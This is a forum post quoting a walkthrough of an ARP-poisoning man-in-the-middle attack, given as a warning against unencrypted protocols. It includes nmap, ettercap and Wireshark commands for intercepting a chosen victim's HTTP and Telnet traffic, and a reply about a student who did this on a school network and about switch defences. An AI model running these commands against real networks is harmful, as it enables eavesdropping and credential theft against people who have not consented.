@stuartjordan said in Handy Linux Utilities:
Why we must warn people not to use non encrypted traffic:
Do Not Use Telnet,Ftp or standard httpHere we will do an arp poison man in the middle attack to see another devices traffic on the same network. when we just had hubs this was easier now we have switches we have to use this method:
apt install wireshark (Graphical) apt install nmap apt install etttercap-text-only (there is a graphical version, this is cli only) sudo nmap -sn 192.168.1.0/24 descover hosts IP and mac addresses / pick a host. sudo ettercap -T(txt only) -S(no ssl) -i(interface) wlan0 -M(man in the middle attack) arp:remote /192.168.1.1(router)// //192.168.1.8//(person to attack) sudo wireshark then apply filter ip.addr = 192.168.1.8 obviously cannot see inside encrypted ssl traffic. but we can see plain text packets by applying filter ip.addr == 192.168.1.8 && http save in wireshark as pcap file visit website a-packets.com - generates a report for free. to see telnet as it's clear text use filter = wireshark filter ip.addr = = 192.168.1.8 && telnet
I had a student do this to the student network at my last job. Everybody would complain about slow network in one building but by the time I could go check it, it was fine again. I figured out what he was doing and some switches have stuff built in to combat this (you just have to turn it on).